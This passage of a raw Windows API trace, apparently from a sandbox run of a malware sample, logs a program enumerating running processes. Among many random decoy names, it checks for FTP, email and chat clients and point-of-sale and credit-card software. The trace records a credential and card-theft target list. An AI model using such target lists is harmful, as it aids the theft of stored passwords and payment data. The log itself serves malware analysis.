| out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0044.816] CloseHandle (hObject=0x5bc) returned 1 [0044.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x5bc [0044.816] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.817] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1230000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="kijiji-terrain-cop.exe") returned 0x16 [0044.818] CloseHandle (hObject=0x5bc) returned 1 [0044.818] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6f4) returned 0x5bc [0044.818] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.819] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xf80000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="endorsed_bands.exe") returned 0x12 [0044.819] CloseHandle (hObject=0x5bc) returned 1 [0044.819] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b4) returned 0x5bc [0044.819] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.820] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x830000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="patrollampodds.exe") returned 0x12 [0044.820] CloseHandle (hObject=0x5bc) returned 1 [0044.820] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x90) returned 0x5bc [0044.820] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.821] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1300000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="experts.exe") returned 0xb [0044.822] CloseHandle (hObject=0x5bc) returned 1 [0044.822] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x67c) returned 0x5bc [0044.822] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.823] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1140000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="sensitive.exe") returned 0xd [0044.823] CloseHandle (hObject=0x5bc) returned 1 [0044.823] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x71c) returned 0x5bc [0044.823] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.824] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x10d0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="scores destinations costs.exe") returned 0x1d [0044.825] CloseHandle (hObject=0x5bc) returned 1 [0044.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x434) returned 0x5bc [0044.825] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.826] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xc80000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="laser-arabic-approve.exe") returned 0x18 [0044.826] CloseHandle (hObject=0x5bc) returned 1 [0044.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5bc [0044.826] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.827] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xb60000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="receiving setting.exe") returned 0x15 [0044.827] CloseHandle (hObject=0x5bc) returned 1 [0044.827] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x5bc [0044.827] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.828] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x170000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="earringsdetroitlewis.exe") returned 0x18 [0044.829] CloseHandle (hObject=0x5bc) returned 1 [0044.829] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x560) returned 0x5bc [0044.829] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.830] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xed0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="breeding petersburg.exe") returned 0x17 [0044.830] CloseHandle (hObject=0x5bc) returned 1 [0044.830] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x23c) returned 0x5bc [0044.830] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.832] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x9f0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="roots-establishing-corps.exe") returned 0x1c [0044.832] CloseHandle (hObject=0x5bc) returned 1 [0044.832] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2a8) returned 0x5bc [0044.832] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.833] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xb60000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="type sorry penny.exe") returned 0x14 [0044.833] CloseHandle (hObject=0x5bc) returned 1 [0044.833] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c0) returned 0x5bc [0044.833] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.834] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x10000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="message_romantic_donation.exe") returned 0x1d [0044.835] CloseHandle (hObject=0x5bc) returned 1 [0044.835] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x790) returned 0x5bc [0044.835] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.836] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xec0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="statewidecorrectlyavg.exe") returned 0x19 [0044.836] CloseHandle (hObject=0x5bc) returned 1 [0044.836] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x484) returned 0x5bc [0044.836] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.837] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1100000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="somehow-cookbook-stripes.exe") returned 0x1c [0044.837] CloseHandle (hObject=0x5bc) returned 1 [0044.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x79c) returned 0x5bc [0044.838] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.839] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x11d0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="province.exe") returned 0xc [0044.839] CloseHandle (hObject=0x5bc) returned 1 [0044.839] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x540) returned 0x5bc [0044.839] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.840] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x11a0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="triggerdeeptouch.exe") returned 0x14 [0044.840] CloseHandle (hObject=0x5bc) returned 1 [0044.840] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x408) returned 0x5bc [0044.840] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.842] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x10d0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="3dftp.exe") returned 0x9 [0044.842] CloseHandle (hObject=0x5bc) returned 1 [0044.842] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7ec) returned 0x5bc [0044.842] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.843] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xd0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="absolutetelnet.exe") returned 0x12 [0044.843] CloseHandle (hObject=0x5bc) returned 1 [0044.843] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a0) returned 0x5bc [0044.843] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.844] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x13a0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="alftp.exe") returned 0x9 [0044.844] CloseHandle (hObject=0x5bc) returned 1 [0044.845] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5bc [0044.845] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.846] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x350000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="barca.exe") returned 0x9 [0044.846] CloseHandle (hObject=0x5bc) returned 1 [0044.846] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x5bc [0044.846] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.847] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xa70000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="bitkinex.exe") returned 0xc [0044.847] CloseHandle (hObject=0x5bc) returned 1 [0044.847] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x5bc [0044.847] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.848] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x60000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="coreftp.exe") returned 0xb [0044.848] CloseHandle (hObject=0x5bc) returned 1 [0044.849] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b0) returned 0x5bc [0044.849] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.850] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xef0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="far.exe") returned 0x7 [0044.850] CloseHandle (hObject=0x5bc) returned 1 [0044.850] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x5bc [0044.850] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.851] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x9d0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="filezilla.exe") returned 0xd [0044.851] CloseHandle (hObject=0x5bc) returned 1 [0044.851] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7bc) returned 0x5bc [0044.851] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.852] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xef0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="flashfxp.exe") returned 0xc [0044.853] CloseHandle (hObject=0x5bc) returned 1 [0044.853] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0x5bc [0044.853] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.854] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xbd0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="fling.exe") returned 0x9 [0044.854] CloseHandle (hObject=0x5bc) returned 1 [0044.854] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x5bc [0044.854] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.855] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xa00000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="foxmailincmail.exe") returned 0x12 [0044.856] CloseHandle (hObject=0x5bc) returned 1 [0044.856] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5bc [0044.856] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.857] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1340000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="gmailnotifierpro.exe") returned 0x14 [0044.857] CloseHandle (hObject=0x5bc) returned 1 [0044.857] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x5bc [0044.857] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.858] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xc90000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="icq.exe") returned 0x7 [0044.858] CloseHandle (hObject=0x5bc) returned 1 [0044.858] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x5bc [0044.858] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.859] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1300000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="leechftp.exe") returned 0xc [0044.860] CloseHandle (hObject=0x5bc) returned 1 [0044.860] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x838) returned 0x5bc [0044.860] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.861] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x170000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="ncftp.exe") returned 0x9 [0044.861] CloseHandle (hObject=0x5bc) returned 1 [0044.861] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x84c) returned 0x5bc [0044.861] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.862] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xed0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="notepad.exe") returned 0xb [0044.862] CloseHandle (hObject=0x5bc) returned 1 [0044.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x86c) returned 0x5bc [0044.863] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.864] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1160000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="operamail.exe") returned 0xd [0044.864] CloseHandle (hObject=0x5bc) returned 1 [0044.864] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x880) returned 0x5bc [0044.864] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.865] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x10f0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="outlook.exe") returned 0xb [0044.865] CloseHandle (hObject=0x5bc) returned 1 [0044.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x890) returned 0x5bc [0044.865] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.866] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xf50000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="pidgin.exe") returned 0xa [0044.867] CloseHandle (hObject=0x5bc) returned 1 [0044.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a0) returned 0x5bc [0044.867] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.868] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x2e0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="scriptftp.exe") returned 0xd [0044.868] CloseHandle (hObject=0x5bc) returned 1 [0044.868] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b0) returned 0x5bc [0044.868] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.869] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1220000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="skype.exe") returned 0x9 [0044.869] CloseHandle (hObject=0x5bc) returned 1 [0044.869] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8c4) returned 0x5bc [0044.869] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.870] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xa30000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="smartftp.exe") returned 0xc [0044.871] CloseHandle (hObject=0x5bc) returned 1 [0044.871] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x5bc [0044.871] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.872] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xdd0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="thunderbird.exe") returned 0xf [0044.872] CloseHandle (hObject=0x5bc) returned 1 [0044.872] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e4) returned 0x5bc [0044.872] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.873] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1190000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="totalcmd.exe") returned 0xc [0044.873] CloseHandle (hObject=0x5bc) returned 1 [0044.873] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f4) returned 0x5bc [0044.874] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.875] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x360000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="trillian.exe") returned 0xc [0044.875] CloseHandle (hObject=0x5bc) returned 1 [0044.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x904) returned 0x5bc [0044.875] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.876] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x170000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="webdrive.exe") returned 0xc [0044.876] CloseHandle (hObject=0x5bc) returned 1 [0044.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x914) returned 0x5bc [0044.876] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.877] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x11d0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="whatsapp.exe") returned 0xc [0044.878] CloseHandle (hObject=0x5bc) returned 1 [0044.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0x5bc [0044.878] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.879] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x70000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="winscp.exe") returned 0xa [0044.879] CloseHandle (hObject=0x5bc) returned 1 [0044.879] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x5bc [0044.879] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.880] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x190000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="yahoomessenger.exe") returned 0x12 [0044.880] CloseHandle (hObject=0x5bc) returned 1 [0044.880] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0x5bc [0044.880] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.881] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xd20000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="active-charge.exe") returned 0x11 [0044.882] CloseHandle (hObject=0x5bc) returned 1 [0044.882] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x954) returned 0x5bc [0044.882] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.883] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x990000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="accupos.exe") returned 0xb [0044.883] CloseHandle (hObject=0x5bc) returned 1 [0044.883] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x964) returned 0x5bc [0044.883] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.884] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1210000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="afr38.exe") returned 0x9 [0044.884] CloseHandle (hObject=0x5bc) returned 1 [0044.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x974) returned 0x5bc [0044.884] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.887] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xc00000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="aldelo.exe") returned 0xa [0044.887] CloseHandle (hObject=0x5bc) returned 1 [0044.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x984) returned 0x5bc [0044.887] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.888] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xf50000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="ccv_server.exe") returned 0xe [0044.888] CloseHandle (hObject=0x5bc) returned 1 [0044.888] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x994) returned 0x5bc [0044.888] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.890] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x11f0000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="centralcreditcard.exe") returned 0x15 [0044.890] CloseHandle (hObject=0x5bc) returned 1 [0044.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a4) returned 0x5bc [0044.891] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.891] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x210000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="creditservice.exe") returned 0x11 [0044.892] CloseHandle (hObject=0x5bc) returned 1 [0044.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x5bc [0044.892] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.893] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x330000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="edcsvr.exe") returned 0xa [0044.893] CloseHandle (hObject=0x5bc) returned 1 [0044.893] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c4) returned 0x5bc [0044.893] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0044.894] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1160000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="fpos.exe") returned 0x8 [0044.894] CloseHandle (hObject=0x5bc) returned 